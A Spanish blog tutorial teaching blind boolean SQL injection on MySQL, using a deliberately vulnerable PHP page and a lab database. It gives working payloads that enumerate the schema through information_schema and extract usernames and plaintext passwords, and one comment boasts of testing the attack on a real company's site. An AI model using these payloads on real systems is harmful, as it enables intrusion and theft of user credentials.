El arte de la inyección blind (MySQL)
Pasaron ya un par de meses desde que publiqué la primer entrega sobre SQL Injection (ver Inyección mortal: SQL Injection), donde introduje el SQLi y distintos tipos de ataque, y prometí continuar con artículos más avanzados. Para los que ya no creían que esto fuera a suceder, aquí esta! =D

Si bien la idea inicial era continuar mostrando ataques no-blind, es decir, ataques más fáciles de realizar debido a que el servidor nos retorna los errores de la base de datos, decidí cambiar el rumbo luego de realizar algunas pruebas blind sobre una página.


Refrescando la memoria...

El ataque Blind SQL Injection se realiza cuando la página/aplicación que deseamos atacar no retorna ningún error de base de datos. Es decir, si ejecutamos una consulta y ésta es incorrecta, el sistema no nos devolverá el error. De esta forma, realizar ataques es mucho más complejo porque tenemos que utilizar mucha imaginación y jugar con las respuestas del servidor.

La técnica utilizada en este tipo de ataques es realizar consultas del tipo true/false. El atacante primero investiga cuál es la respuesta que da el servidor ante una consulta conocida por dar siempre true (por ejemplo "or 1=1" o "and 1=1"), y cuál es la respuesta a una consulta que siempre sea false (por ejemplo "and 1=0"). Esto da la pauta de si una página es vulnerable a SQLi o no. Si una página retorna distintos valores al consultar por "and 1=1" y "and 1=0", quiere decir que detectamos una inyección.


Dos técnicas de inyección blind

La diferencia entre las respuestas a una consulta true y una false se puede observar de dos formas, una más difícil de detectar que la otra.

Si estamos con suerte, el contenido de la página será distinto en caso de consultas true y consultas false. Por ejemplo, supongamos que una página trae su contenido basado en el valor de la variable id de un parámetro GET. Si id=1 trae el contenido cuyo id es 1, y si id=3, trae el contenido cuyo id es 3. Ahora, si realizamos la consulta "id=1 and 1=1", y la página nos retorna el contenido cuyo id es 1, pero si consultamos por "id=1 and 1=0" no nos retorna ningún contenido, o bien nos retorna una página default (método muy utilizado para manejar excepciones).

En el caso difícil, el contenido que nos retorna la página es siempre igual, pero existe una diferencia en los tiempos de respuesta. En general una consulta false tardará un poco más que una consulta true, porque deberá realizar algún trabajo extra para obtener el valor del contenido a mostrar (aunque esto puede resultar imperceptible). La técnica más utilizada en este tipo de casos es agregar un sleep de cierta cantidad de segundos cuando una consulta es true o false y medir las respuestas. Este tipo de ataques es mucho más difícil y muy susceptible al tráfico en la red y el server. El gran problema es cómo medir ese tiempo y cuáles son los umbrales para detectar que las consultas retornan diferentes tiempos.

En este artículo me centraré en ataques del primer tipo, donde consultas true/false retornan diferentes contenidos y dejaré el segundo tipo para otro artículo.


Código para jugar

Como de costumbre, creo que la mejor forma de explicar estas cosas es utilizando un ejemplo. En este caso armé un ejemplo que resume el funcionamiento de la mayoría de las páginas. Un sistema que tiene un menú y trae el título y el contenido de la página basándose en la variable id en la URL. Una vez más, utilizo php como lenguaje base por ser el que más conozco y en el que tengo más experiencia. Igualmente el funcionamiento es similar en todos los lenguajes.

<HTML>
<HEAD><TITLE>Testeando SQLi</TITLE></HEAD>
<BODY>
<?php
$db = mysql_connect('localhost', 'tester', '123456');
mysql_select_db('test', $db);
if(isset($_GET['id']))
{
$query = "SELECT * FROM content WHERE id=".$_GET['id'];
}
else
{
$query = "SELECT * FROM content WHERE id='3'";
}

print '<A HREF="?id=3">News</A> | <A HREF="?id=1">SQL Test</A> | <A HREF="?id=2">Links</A><BR><BR>';

if($result = @mysql_query($query))
$row = mysql_fetch_array($result);
elseif($result = @mysql_query("SELECT * FROM content WHERE id='3'"))
$row = mysql_fetch_array($result);

if(isset($row))
{
print("<B>".$row['title']."</B><BR><BR>");
print($row['content']);
}
?>
</BODY>
</HTML>

Como pueden observar, el código me retornará el contenido de la página si la consulta es correcta, y retornará el contenido cuyo id es 3 (News), en caso de que la consulta falle. Utilizo el @ delante de la función mysql_query para que no dispare una excepción en caso de consultas incorrectas.
La consulta ejecutada sobre la base de datos es "SELECT * FROM content WHERE id='<el-id>'".

Nombré a la base de datos "test", y al usuario de base de datos "tester".
La tabla en la base de datos que contiene el contenido de la página se llama "content" y tiene los siguientes registros:
+----+----------+------------------------------+
| id | title | content |
+----+----------+------------------------------+
| 1 | SQL Test | vas a aprender mucho SQLi |
| 2 | Links | seccion con links |
| 3 | News | hoy aprendes inyeccion blind |
+----+----------+------------------------------+
donde tengo id, titulo del contenido y el contenido en si.
Como siempre, debe haber algo más interesante que la tabla de contenido público para obtener, así que los ataques se dirigirán a la tabla "user", que contiene datos de usuarios:
+----+---------------+--------------------------------+---------------+-------------+
| id | name | email | user | pass |
+----+---------------+--------------------------------+---------------+-------------+
| 1 | demasiadovivo | demasiadovivo@misuperemail.com | demasiadovivo | pass123 |
| 2 | emilio | emilio@otromailguay.com | emilio | linuxrulez |
| 3 | Javi | javiz@misuperemail.com | javiz | javsecurity |
+----+---------------+--------------------------------+---------------+-------------+
ustedes dirán "passwords sin hashear?" oh yeah!, en los ataques que he realizado muchas veces me encontré con passwords sin hashear, así que me pareció interesan hacerlo así.


Obteniendo datos de la base de datos

Lo primero que tenemos que hacer en un ataque de este tipo es encontrar una variable que sea inyectable. Muchas veces la variable salta a la vista luego de navegar un poco por la página, pero en otras ocasiones no es tan simple y hay que buscar un poco. Como les comenté, voy a asumir que la página atacada muestra diferentes contenidos dependiendo de si una consulta devuelve un valor asociado a la consulta(consulta true), o retorna un valor default (consulta false). En el ejemplo que planteo, la vulnerabilidad es bastante visible dado que un id concatenado con una consulta true devuelve un contenido asociado al id, y uno concatenado con una consulta false, devuelve el contenido asociado al id default, es decir el id 3 que contiene la sección "News".
Lo que necesitamos hacer es utilizar un id diferente a 3 (utilizaremos id=1), concatenado a la consulta que deseamos inyectar. Si el contenido retornado es el del id 3 (News), la consulta falló, pero si el contenido está asociado al id de prueba 1 (SQL Test), la consulta fue satisfactoria.

Una vez que determinamos la variable a inyectar, es cuestión de paciencia y dedicación. En este punto uno puede optar por dos caminos:
- intentar obtener datos utilizando nombres clásicos de tablas y columnas como por ejemplo "usuario", "user", "username", "nick", "password", "email", "e-mail", "id", etc. Este camino puede ahorrarnos tiempo de investigación si acertamos en los nombres a utilizar.
- obtener el nombre de la base de datos, luego el de las tablas y por último el de las columnas de las tablas. Este es realmente un trabajo de hormiga, pero acá vamos a lo seguro, obtenemos dato por dato hasta lograr el objetivo.

Mi opción es primero intentar con nombres de tablas y campos que creemos pueden existir. Puede ser que desperdiciemos tiempo en vano, pero también puede ser que nos ahorre horas. Cuando se nos acaban las ideas, vamos por la segunda opción y obtenemos dato por dato.
Vale mencionar aquí que existen varias herramientas que nos permiten automatizar el proceso de obtener dato por dato, por lo cual podríamos ir directamente a la segunda opción. Pero como mi idea es explicar el arte de la inyección manual, explicaré como funcionan ambas formas.


Funciones MySQL que nos darán una mano

Antes de poder seguir, me veo obligado a explicar las funciones que nos servirán para obtener los datos que deseamos:

- database() devuelve el nombre de la base de datos actualmente seleccionada, o NULL si no hay ninguna seleccionada. Ejemplo: "SELECT DATABASE()" en el código anterior nos devolverá "test".

- user() retorna el nombre de usuario y host actual, es decir, el usuario que estamos usando para realizar las consultas. Ejemplo: "SELECT USER()" en el código anterior nos devolverá "tester".

- count(*) cuenta la cantidad de registros en una tabla. Ejemplo: "SELECT COUNT(*) FROM user" nos devuelve la cantidad de registros en la tabla user, es decir 3.

- length(str) retorna el largo de un string en bytes. Ejemplo: "SELECT LENGTH('ITFreek')", nos devuelve 7.

- substring(str, pos, len) dado un string str nos devuelve el substring contenido a partir de la posición pos, y con un largo de len caracteres. Ejemplo: "SELECT SUBSTRING('ITFreek', 3, 5)" retorna 'Freek'.

- lower(str) retorna el string pasado por parámetro utilizando sólo minúsculas. Ejemplo: "SELECT LOWER('ITFreek')" retorna 'itfreek'.

- upper(str) la contrapartida de lower, es decir, nos devuelve todos los caracteres del string en mayúsculas. Ejemplo: "SELECT UPPER('ITFreek')" retorna ITFREEK. En la práctica solo utilizaremos lower o upper, no los dos.

- ascii(str) retorna valor numérico ascii (en hexa) del caracter en la primer posición del string str. Ejemplo: "SELECT ASCII('ITFreek')" retorna 73 (ascii de la letra I). A continuación les dejo la tabla ascii tomada de http://www.lookuptables.com



Veamos si existen tablas con nombres triviales

Como les comenté, primero investigaré si puedo acertar el nombre de las tablas que me interesan, y así ahorrarme el tiempo de obtener los nombres de a una letra por vez (como veremos más adelante).
Supongamos que imagino que la tabla de usuarios se llama usuarios, la forma que utilizaremos para verificar esto es utilizando la función count. De la explicación anterior saben que count cuenta la cantidad de registros de la tabla, así que si una tabla existe, debería retornar 0 o un valor mayor a 0. En cambio, si no existe, retornará un error.
Esto traducido a una inyección blind en el código que uso como ejemplo, debe ser interpretado de la siguiente forma:
- si la tabla existe, la página retornará de forma normal, mostrando el contenido asociado al id 1 (SQL Test);
- si la tabla no existe, la página retornará el contenido asociado al id 3 (News).

La consulta a nuestra página de ejemplo será la siguiente (omitiré la dirección de la página para poder visualizar solamente la variable inyectada):
?id=1 and (select count(*) from usuarios)
traduciéndose en la consulta: SELECT * FROM content WHERE id=1 and (select count(*) from usuarios).

Si la tabla usuarios existe, la página nos mostrará el contenido de la sección cuyo id es 1. Pero si no existe la consulta dará error, y nos retornará el contenido de News. Como la tabla usuarios no existe, obtendremos el contenido de News y entonces sabremos que estamos equivocados en el nombre.

Si ahora se nos ocurre que el nombre es "user", modificaremos la consulta anterior para que quede de la siguiente forma:
?id=1 and (select count(*) from user)
traduciéndose en la consulta: SELECT * FROM content WHERE id=1 and (select count(*) from user).
Como la tabla user existe, count retornará un valor. En MySQL, al igual que en muchos lenguajes, un valor distinto de 0 significa true, por lo que si count retorna un valor mayor a cero, la consulta (select count(*) from user) será true. Claro está que si la tabla está vacía, count retornará cero, obteniendo una consulta false... pero igualmente si la tabla está vacía no nos interesa, así que da igual si existe o no =)

Una vez que tenemos el nombre de la/s tabla/s que nos interesa/n, necesitamos obtener los campos para poder continuar. Aplicando la misma lógica anterior, podemos hacer uso de count para saber si un campo existe. Nuevamente intentando averiguar el nombre de los campos a partir de nombres triviales, podríamos imaginar que existe un campo llamado id.
La consulta que utilizabamos tendrá que ser modificada un poco. Ahora para saber si existe un campo, contaremos la cantidad de registros en el campo <nombre a probar> de la tabla user. Para averiguar si el campo id existe, consultamos lo siguiente:
?id=1 and (select count(id) from user)
que se traduce a: SELECT * FROM content WHERE id=1 and (select count(id) from user).
Como el campo id existe, la consulta es satisfactoria y obtenemos nuevamente el contenido cuyo id es 1. Si probamos con nombres de campos que no existen, sucedería lo que comenté antes, count da error y la página retorna la sección News.

Como se imaginarán, no siempre tendremos tanta suerte de encontrar nombres triviales, así que usen su imaginación, y traten de pensar como el programador del site. Muchas veces las tablas pueden comenzar con el nombre de la página. Si la página se llama foro.com, tal vez la tabla de usuarios se llame foro_user, en lugar de solo user. Las tablas de usuarios suelen tener siempre los mismos campos, es decir, id, email, username, password, real name, etc.
Igualmente si no se les ocurre como se puede llamar la tabla que desean, o los campos de la tabla, no se desesperen, existe un camino alternativo que explicaré a continuación.


Obtener palabras de a letras

Antes de continuar la explicación, necesitamos aprender a obtener palabras de a una letra por vez. Como ya saben, solo contamos con consultas true/false por lo que para obtener palabras completas debemos hacer consultas del estilo "la letra en la posición i es ésta?", si es true, sabemos que esa es la letra indicada, si es false, debemos seguir buscando. Para no hacer consultas de más, primero consultamos la longitud de las palabras con la función length(), con preguntas del estilo "la longitud es mayor a i?, es menor? es igual?. Por ejemplo, si deseamos saber cuántos caracteres tiene el nombre de usuario con id=1, las consultas serán del estilo:
SELECT length(name) FROM user WHERE id=1
que utilizando blind se traduce a:
?id=1 and (select length(name) from user where id=1)<8 //dará false, porque el name demasiadovivo tiene 13 caracteres
?id=1 and (select length(name) from user where id=1)=8 //idem anterior
?id=1 and (select length(name) from user where id=1)>10 //true
?id=1 and (select length(name) from user where id=1)>14 //false
?id=1 and (select length(name) from user where id=1)=13 //eureka!
Teniendo la longitud de la palabra buscada (13), procedemos a averiguar cuáles son los caracteres que la componen. Para ello nos apoyamos en la función substring(), con la cual obtenemos substrings de sólo 1 caracter y averiguamos cuál es. Además podemos utilizar la función upper() para restringir el rango de búsqueda a sólo mayúsculas (de otra forma tendríamos que preguntar por mayúsculas y minúsculas). Otra mejora que disminuye el número de consultas es hacer una búsqueda binaria, es decir, preguntamos si el caracter pertenece a la primer mitad del abecedario (A-M) o la segunda mitad (N-Z). De la mitad seleccionada hacemos lo mismo, y así repetimos hasta encontrar el caracter. En este caso las consultas a armar son del estilo:
SELECT upper(substring(name, 1, 1)) FROM user WHERE id=1
que en términos blind y búsqueda binaria se traduce a:
?id=1 and (select upper(substring(name, 1, 1)) from user where id=1)>'M' //partimos preguntando si es mayor a M
?id=1 and (select upper(substring(name, 1, 1)) from user where id=1)>'G' //como es menor, preguntamos entonces si es mayor a G (la mitad entre A-M)
?id=1 and (select upper(substring(name, 1, 1)) from user where id=1)>'C' //idem anterior, ahora utilizando C
?id=1 and (select upper(substring(name, 1, 1)) from user where id=1)='C'
?id=1 and (select upper(substring(name, 1, 1)) from user where id=1)>'D' //si es mayor a C, pero no mayor a D, y no es igual a C, entonces es D. Ahora veamos si es D o d.
?id=1 and (select substring(name, 1, 1) from user where id=1)='D' //no es D, así que es d.
Una vez que terminamos con la primer letra, seguimos con la segunda. En la consulta anterior cambiaremos el rango de la función substring a substring(name, 2, 1), es decir, le indicamos que arranque desde la posición 2. Lo mismo para los otros 11 caracteres. Claro que la búsqueda variará un poco si el nombre incluye números u otros caracteres. Para estos casos, y para los casos donde no podemos utilizar comillas, es más útil utilizar la función ascii(). Como expliqué anteriormente, ascii() devuelve el valor ascii (número) del caracter. Las consultas anteriores pasarían a ser de la siguiente forma:
?id=1 and ascii((select upper(substring(name, 1, 1)) from user where id=1))>77 // 77 es el ascii de la letra M
Ya tenemos la forma de averiguar los caracteres que componen a una dada palabra. Parece bastante complejo, pero uno se acostumbra y es fácil de automatizar con scripts.


Obtengamos los nombres de las tablas de a letras

Existen consultas que nos permiten ir a lo seguro. En lugar de intentar adivinar el nombre de las tablas, podemos ejecutar consultas para que nos retornen el nombre de las tablas y de los campos a partir de diferentes funciones. Este método lleva bastante tiempo, pero se puede automatizar fácilmente con scripts.

Para obtener el nombre de las tablas utilizaremos la base de datos central de MySQL, que contiene información sobre todas las otras bases de datos administradas por el servidor. Esta base de datos se llama information_schema. La tabla que nos interesa de esta base de datos se llama tables. Esta incluye todas las tablas que existen en la base de datos.
Dependiendo el usuario que estemos utilizando para realizar la consulta, MySQL nos retornará solamente los nombres de tablas que el usuario tiene permitido ver, generalmente las de sus bases de datos.
La consulta que necesitamos hacer entonces es la siguiente:
SELECT table_name FROM information_schema.tables
El problema es que esta consulta retorna muchos nombres dependiendo los accesos del usuario. Si el usuario es root, nos retornará absolutamente todas las tablas que existen en el server. Para poder filtrar los resultados y obtener los nombres de la base de datos que deseamos, primero tenemos que averiguar el nombre de la base de datos. Esto lo haremos con la función database().
Como vimos en la sección anterior, podemos averiguar la longitud del nombre y luego consultar letra por letra hasta obtener la palabra completa. Las consultas tendrán el siguiente formato:
?id=1 and (select length((select database())))=4 //averiguamos la longitud
?id=1 and ascii(upper(substring((select database()), 1, 1)))>77 //la primer letra es mayor a M?
?id=1 and ascii(upper(substring((select database()), 1, 1)))>83 //mayor a S?
?id=1 and ascii(upper(substring((select database()), 1, 1)))>86 //mayor a V?
?id=1 and ascii(upper(substring((select database()), 1, 1)))>84 //mayor a T?
?id=1 and ascii(upper(substring((select database()), 1, 1)))=84 //eureka! (recuerden que el nombre de la base de datos es test)
?id=1 and ascii(substring((select database()), 1, 1))=84 //no es T, así que debe ser t
Al igual que antes, el resto de los caracteres los obtenemos de la misma forma, pero utilizando substring((select database()), 2, 1), substring((select database(), 3, 1), etc.

Ahora que contamos con el nombre de la base de datos, podemos armar las consultas para averiguar las tablas de dicha base de datos. La consulta para obtener las tablas ahora se puede modificar de la siguiente forma:
SELECT table_name FROM information_schema.tables WHERE table_schema='test'
con la cual obtenemos sólo las tablas de la base de datos 'test'. La consulta se va a poner un poco compleja en este punto, pero si siguen los pasos la van a entender bien.
Como el resultado que obtendremos contiene varias tablas, si queremos averiguar los nombres de cada una, debemos limitar la consulta para que retorne las tablas de a una. Esto en MySQL se puede hacer con la cláusula LIMIT <ini,offset>, la cual limita el número de filas retornadas. Por ejemplo, "LIMIT 0,1" retorna la primer fila (inicia en 0 y retorna 1 fila), "LIMIT 1,1" retorna sólo la segunda fila (inicia en 1 y retorna una fila), etc.
La consulta anterior refinada con la cláusula LIMIT para obtener de a una fila sería entonces:
SELECT table_name FROM information_schema.tables WHERE table_schema='test' LIMIT 0,1
SELECT table_name FROM information_schema.tables WHERE table_schema='test' LIMIT 1,1
SELECT table_name FROM information_schema.tables WHERE table_schema='test' LIMIT 2,1
etc...
Obteniendo sólo el nombre de una tabla, podemos aplicar el método ya conocido para obtener las letras de a una por vez. Así entonces para consultar por la primer letra de la primer tabla, generaríamos lo siguiente:
?id=1 and ascii(upper(substring((select table_name from information_schema.tables where table_schema='test' limit 0,1), 1, 1)))>77 //consultamos por la letra M
para obtener la tercer letra de la segunda tabla:
?id=1 and ascii(upper(substring((select table_name from information_schema.tables where table_schema='test' limit 1,1), 3, 1)))>77
interesante no?

Ok, ya tenemos la forma de averiguar las tablas, ahora nos falta saber el nombre de las columnas de las tablas (parece un trabajo de nunca acabar!). La metodología es igual a la anterior, dado que los nombres de las columnas están contenidos en la tabla columns de la base de datos information_schema. La consulta a realizar en este caso es:
SELECT column_name FROM information_schema.columns WHERE table_schema='test' and table_name='content' //donde content es el nombre de la tabla (que obtuvimos en el paso anterior), y table_schema es el nombre de la base de datos.
Claro que esta consulta devuelve el nombre de todas las columnas, así que una vez más podemos usar la cláusula LIMIT
SELECT column_name FROM information_schema.columns WHERE table_schema='test' and table_name='content' LIMIT 0,1
Ufff, cómo decía Bender en la peli Futurama: Bender's Big Score: "I bet it's going to get even more confusing", porque juntando esta consulta con la necesaria para obtener las letras de la primer columna de la primer tabla se forma lo siguiente:
?id=1 and ascii(upper(substring((select column_name from information_schema.columns where table_schema='test' and table_name='content' limit 0,1), 1, 1)))>77
sweet!
Lo mismo para obtener todas las otras letras del nombre de la columna, y luego para obtener el nombre de las otras columnas, y así siguiendo.


Obtengamos esos valiosos registros

Apuesto a que en este punto están bastante mareados... yo ya estoy mareado explicándolo, así que no me imagino lo que debe ser leerlo. Respiren ondo, tomense su tiempo, relean lo anterior si es necesario (vallan al baño si tienen ganas) y continuemos.
Ahora que tenemos los nombres de las tablas que nos interesan (en mi caso la tabla user), y sabemos el nombre de las columnas que deseamos (user, pass), ya podemos obtener el contenido de los registros. Luego de lo que tuvimos que pasar para llegar hasta aca, lo que viene es relativamente fácil.
Primero obtengamos el nombre de usuario con la consulta:
SELECT user FROM user WHERE id=1
que en nuestro blind se traduce a:
?id=1 and (select(length((select user from user where id=1))))=13
?id=1 and ascii(upper(substring((select user from user where id=1), 1, 1)))>77 //mayor a M?
?id=1 and ascii(upper(substring((select user from user where id=1), 1, 1)))>71 //mayor a G?
?id=1 and ascii(upper(substring((select user from user where id=1), 1, 1)))>67 //mayor a C?
?id=1 and ascii(upper(substring((select user from user where id=1), 1, 1)))=68 //igual a D? yeah!
?id=1 and ascii(substring((select user from user where id=1), 1, 1))=68 //no es D así que es d
Sip, el procedimiento se repite una y otra vez. Como siempre, el resto de las letras sale con substring((select user from user where id=1), 2, 1), etc.
Lo mismo hacemos con el campo pass. Las consultas serán iguales pero cambiando el nombre del campo:
?id=1 and ascii(upper(substring((select pass from user where id=1), 1, 1)))>77
De esta misma forma se puede obtener cualquier registro de cualquier tabla a la que tengamos acceso. Una vez que tenemos la información inicial, todo esto sale bastante fácil... aunque de forma muuuuy laboriosa y repetitiva.

Si deseamos averiguar e-mails podemos mejorar la consulta infiriendo si es de hotmail, yahoo o gmail. Sabemos que hotmail.com tiene 11 caracteres, que yahoo.com tiene 9, yahoo.com.ar tiene 12 y gmail.com tiene 9, por lo que podemos averiguar si el @ (cuyo ascii es 64) está en la posición length - 11, o length - 9, o length - 12.
Por ejemplo, si en la tabla está el e-mail pepe@hotmail.com, el tamaño de esta dirección es 16, por lo que si el e-mail es de hotmail, el @ estará en la posición 5 (16 - 11), si es de yahoo.com o gmail.com estará en la posición 7 (16 - 9), y si es de yahoo.com.ar estará en la posición 4 (16 - 12). Las consultas que nos dan estos datos son:
?id=1 and (select(length((select email from user where id=1))))=16
?id=1 and ascii(substring((select email from user where id=1), 5, 1))=64
ya sabiendo dónde está el @, sabemos el tamaño del username, el cual en este caso es 4, y así restringimos la cantidad de caracteres a consultar. El nombre del servidor de e-mail lo sacamos con los primeros caracteres que siguen al @, como ser:
?id=1 and ascii(substring((select email from user where id=1), 6, 1))=72 //buscamos la H de HOTMAIL


Optimizaciones

Está claro que todo el trabajo anterior requiere de muchísimo tiempo. Conociendo la receta no es complejo, pero requiere tanto tiempo que resulta molesto. Por ello existen muchos programas que automatizan el funcionamiento. Algunas herramientas que pueden encontrar interesantes son:
- sqlmap
- SQLInjector

Además podemos inferir muchos datos a partir de algunas letras. Por ejemplo, si las 3 primeras letras de una columna son usu y el tamaño de la palbra es 8, es casi seguro que la palabra buscada es usuario y no necesitamos averiguar todos los caracteres.

Por supuesto que ustedes pueden automatizar el proceso creando sus propios scripts adaptados para la aplicación que desean explotar. Los lenguajes de script son sus amigos, pueden usar perl, python, ruby, php o incluso bash.


UNION te puede salvar la vida

Si bien el objetivo de este artículo era explicar blind sql injection, no quiere decir que los datos anteriores no se pudieran obtener de otras formas que requieran menos trabajo, como utilizando la cláusula UNION. Por ejemplo, para obtener el nombre de la base de datos podríamos haber realizado la siguiente consulta:
?id=-1 union all select 1,database(),1
con lo que nos ahorramos de buscar el nombre letra por letra.
Como expliqué hace un tiempo en el artículo Reflected XSS a través de SQL Injection, UNION nos permite unir los resultados de una consulta con los resultados de otra consulta, siempre y cuando ambas consultas tengan como resultado la misma cantidad de columnas. Si utilizamos sólo UNION, las columnas a unir deben ser del mismo tipo, pero si en cambio aprovechamos UNION ALL, podemos utilizar distintos tipos.
La cantidad de columnas de la consulta la podemos obtener de dos formas: probar consultas arbitrarias con UNION hasta que nos da un resultado válido, o utilizar la función ORDER BY. ORDER BY nos permite organizar los resultados por columna, así que si le especificamos un valor de columna mayor al posible, obtendremos un error. Por ello, podemos ir reduciendo el valor de ORDER BY hasta que tengamos una consulta válida, o bien incrementar desde 1 hasta que tengamos una inválida. En el ejemplo anterior, las consultas de prueba podrían ser:
?id=1 order by 2
?id=1 order by 3
?id=1 order by 4 //da false por lo que sabemos que la cantidad es 3
Obtener los datos con consultas UNION es muchísimo más rápido, aunque igualmente a veces necesitamos del blind para obtener ciertos datos como los nombres de las tablas y columnas. Por ello podemos usar un mix y tener lo mejor de ambas técnicas.


Final

Como habrán podido observar a lo largo del artículo, para realizar blind sql injection no necesitamos ser Jedis, aunque si necesitamos paciencia de Jedi. Obtener los datos es algo laborioso, pero es posible. También se darán cuenta que esconder los errores arrojados por la base de datos a los usuarios NO elimina la posibilidad de injección. Si, es un poco más costoso, pero igualmente factible.

La explicación se basó en bases de datos MySQL, pero con un simple cambio en las funciones y las tablas utilizadas, podría escribir un artículo idéntico para MS SQL. Cuando encuentre el tiempo necesario, escribiré algún artículo mostrando las funciones necesarias en MS SQL para realizar el mismo ataque.


Referencias

- Blind MySQL Injection - Técnicas de inyección a ciegas en MySQL (ka0x)
- Blind SQL Injection - Are your web applications vulnerable? (Kevin Spett)
- SQL Injection Cheat Sheet

6 comentarios:

Anónimo dijo...

Excelente artículo, espero el siguiente de mssqli!

Gracias por tu tiempo!

Saludos!!

V3kt0r dijo...

Agradezco a Emi por notar que el código php no hacía lo que yo explicaba jeje. Ya está corregido =)

Emiliano dijo...

UUUHHHGGG-rrrrRRR! UUUHHHGGG-rrrrRRR! HHHurrRRRRRRRRnhhhh. UUUHHHGGG-rrrrRRR! UUUHHHGGG-rrrrRRR! HHHurrRRRRRRRRnhhhh. UUUHHHGGG-rrrrRRR! UUUHHHGGG-rrrrRRR! HHHurrRRRRRRRRnhhhh. Aaaa guhaaaarrrruhaaaarrrrrnnn uhnnnn nnn uhnhhAAAAAAAAaaa rrrrrrrrrrrrrnnnnnnnnnnhhhh, HHHurrRRRRRRRRnhhhh. UUUHHHGGG-rrrr! UUUHHHGGG-rrrrRRR! UUUHHHGGG-rrrrRRR! HHHurrRRRRRRRRnhhhh. AAAAAAAAaaa rrrrrrrrrrrrrnnnnnnnnnnhhhh...

Traducción: Excelente! Lo mejor de este artículo fue haberlo probado contra un sitio de una empresa conocida (siempre con fines didácticos)

JaviZ dijo...

Bravo!!!!!!

d5ck dijo...

Loco, muy buen articulo y super detallado

Anónimo dijo...

It K Zone: El Arte De La Inyección Blind (Mysql) >>>>> Download Now

>>>>> Download Full

It K Zone: El Arte De La Inyección Blind (Mysql) >>>>> Download LINK

>>>>> Download Now

It K Zone: El Arte De La Inyección Blind (Mysql) >>>>> Download Full

>>>>> Download LINK

Publicar un comentario